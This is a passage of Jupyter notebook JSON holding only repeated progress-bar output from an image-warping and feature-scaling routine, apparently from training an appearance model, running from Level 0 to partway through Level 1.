"\r", " - Level 0: Warping images - 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 64%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 65%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 66%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 67%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 68%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 69%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 70%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 71%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 72%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 73%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 74%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 75%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 76%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 77%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 78%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 79%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 80%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 81%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 82%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 83%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 84%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 85%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 86%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 87%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 88%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 89%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 90%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 91%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 92%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 93%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 94%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 95%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 96%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 97%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 98%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 99%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Warping images - 100%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Building appearance model" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 0: Done\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", " - Level 1: Scaling features: 42%" ] }, { 